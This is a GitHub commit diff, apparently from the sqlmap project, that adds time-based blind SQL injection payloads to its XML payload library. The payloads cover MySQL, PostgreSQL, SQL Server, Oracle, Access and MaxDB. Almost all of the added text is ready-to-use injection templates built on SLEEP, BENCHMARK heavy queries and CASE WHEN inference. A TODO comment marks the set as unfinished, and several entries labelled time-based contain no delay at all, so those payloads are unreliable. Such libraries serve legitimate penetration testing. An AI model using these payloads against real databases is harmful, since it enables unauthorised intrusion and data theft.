Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 243a905

Browse files
bdamelebdamele
committed
more on issue #97 
1 parent c483e91 commit 243a905

1 file changed

Lines changed: 198 additions & 1 deletion

File tree

‎xml/payloads.xml‎

Lines changed: 198 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,7 @@ Tag: <test>
7676
2: Error-based SQL injection
7777
3: UNION query SQL injection
7878
4: Stacked queries SQL injection
79-
5: AND/OR time-based blind SQL injection
79+
5: Time-based blind SQL injection
8080
8181
Sub-tag: <level>
8282
From which level check for this test.
@@ -2836,6 +2836,203 @@ Formats:
28362836
<!-- End of OR time-based blind tests -->
28372837

28382838

2839+
<!-- Time-based blind tests - Parameter replace -->
2840+
<test>
2841+
<title>MySQL time-based blind - Parameter replace (MAKE_SET)</title>
2842+
<stype>5</stype>
2843+
<level>3</level>
2844+
<risk>1</risk>
2845+
<clause>1,2,3</clause>
2846+
<where>3</where>
2847+
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
2848+
<request>
2849+
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
2850+
</request>
2851+
<response>
2852+
<time>[SLEEPTIME]</time>
2853+
</response>
2854+
<details>
2855+
<dbms>MySQL</dbms>
2856+
</details>
2857+
</test>
2858+
2859+
<test>
2860+
<title>MySQL time-based blind - Parameter replace (ELT)</title>
2861+
<stype>5</stype>
2862+
<level>4</level>
2863+
<risk>1</risk>
2864+
<clause>1,2,3</clause>
2865+
<where>3</where>
2866+
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
2867+
<request>
2868+
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
2869+
</request>
2870+
<response>
2871+
<time>[SLEEPTIME]</time>
2872+
</response>
2873+
<details>
2874+
<dbms>MySQL</dbms>
2875+
</details>
2876+
</test>
2877+
2878+
<test>
2879+
<title>MySQL time-based blind - Parameter replace (bool*int)</title>
2880+
<stype>5</stype>
2881+
<level>4</level>
2882+
<risk>1</risk>
2883+
<clause>1,2,3</clause>
2884+
<where>3</where>
2885+
<vector>([INFERENCE])*SLEEP([SLEEPTIME])</vector>
2886+
<request>
2887+
<payload>([RANDNUM]=[RANDNUM])*SLEEP([SLEEPTIME])</payload>
2888+
</request>
2889+
<response>
2890+
<time>[SLEEPTIME]</time>
2891+
</response>
2892+
<details>
2893+
<dbms>MySQL</dbms>
2894+
</details>
2895+
</test>
2896+
2897+
<test>
2898+
<title>MySQL &gt;= 5.0 time-based blind - Parameter replace</title>
2899+
<stype>5</stype>
2900+
<level>3</level>
2901+
<risk>1</risk>
2902+
<clause>1,2,3</clause>
2903+
<where>3</where>
2904+
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
2905+
<request>
2906+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
2907+
</request>
2908+
<response>
2909+
<time>[SLEEPTIME]</time>
2910+
</response>
2911+
<details>
2912+
<dbms>MySQL</dbms>
2913+
<dbms_version>&gt;= 5.0</dbms_version>
2914+
</details>
2915+
</test>
2916+
2917+
<test>
2918+
<title>MySQL &lt; 5.0 time-based blind - Parameter replace (heavy queries)</title>
2919+
<stype>5</stype>
2920+
<level>4</level>
2921+
<risk>2</risk>
2922+
<clause>1,2,3</clause>
2923+
<where>3</where>
2924+
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
2925+
<request>
2926+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
2927+
</request>
2928+
<response>
2929+
<time>[DELAYED]</time>
2930+
</response>
2931+
<details>
2932+
<dbms>MySQL</dbms>
2933+
</details>
2934+
</test>
2935+
2936+
<!-- TODO: carry on editing these payloads -->
2937+
<test>
2938+
<title>PostgreSQL time-based blind - Parameter replace (GENERATE_SERIES)</title>
2939+
<stype>5</stype>
2940+
<level>3</level>
2941+
<risk>2</risk>
2942+
<clause>1,2,3</clause>
2943+
<where>3</where>
2944+
<vector>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
2945+
<request>
2946+
<payload>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
2947+
</request>
2948+
<response>
2949+
<time>[SLEEPTIME]</time>
2950+
</response>
2951+
<details>
2952+
<dbms>PostgreSQL</dbms>
2953+
</details>
2954+
</test>
2955+
2956+
<test>
2957+
<title>Microsoft SQL Server/Sybase time-based blind - Parameter replace</title>
2958+
<stype>5</stype>
2959+
<level>3</level>
2960+
<risk>1</risk>
2961+
<clause>1,3</clause>
2962+
<where>3</where>
2963+
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
2964+
<request>
2965+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
2966+
</request>
2967+
<response>
2968+
<time>[SLEEPTIME]</time>
2969+
</response>
2970+
<details>
2971+
<dbms>Microsoft SQL Server</dbms>
2972+
<dbms>Sybase</dbms>
2973+
<os>Windows</os>
2974+
</details>
2975+
</test>
2976+
2977+
<test>
2978+
<title>Oracle time-based blind - Parameter replace</title>
2979+
<stype>5</stype>
2980+
<level>3</level>
2981+
<risk>1</risk>
2982+
<clause>1,3</clause>
2983+
<where>3</where>
2984+
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
2985+
<request>
2986+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
2987+
</request>
2988+
<response>
2989+
<time>[SLEEPTIME]</time>
2990+
</response>
2991+
<details>
2992+
<dbms>Oracle</dbms>
2993+
</details>
2994+
</test>
2995+
2996+
<test>
2997+
<title>Microsoft Access time-based blind - Parameter replace</title>
2998+
<stype>5</stype>
2999+
<level>3</level>
3000+
<risk>1</risk>
3001+
<clause>1,3</clause>
3002+
<where>3</where>
3003+
<vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
3004+
<request>
3005+
<payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
3006+
</request>
3007+
<response>
3008+
<time>[SLEEPTIME]</time>
3009+
</response>
3010+
<details>
3011+
<dbms>Microsoft Access</dbms>
3012+
</details>
3013+
</test>
3014+
3015+
<test>
3016+
<title>SAP MaxDB time-based blind - Parameter replace</title>
3017+
<stype>5</stype>
3018+
<level>3</level>
3019+
<risk>1</risk>
3020+
<clause>1,3</clause>
3021+
<where>3</where>
3022+
<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
3023+
<request>
3024+
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
3025+
</request>
3026+
<response>
3027+
<time>[SLEEPTIME]</time>
3028+
</response>
3029+
<details>
3030+
<dbms>SAP MaxDB</dbms>
3031+
</details>
3032+
</test>
3033+
<!-- End of time-based blind tests - Parameter replace -->
3034+
3035+
28393036
<!-- Time-based blind tests - GROUP BY and ORDER BY clauses -->
28403037
<test>
28413038
<title>MySQL &gt;= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses</title>

0 commit comments

Comments
 (0)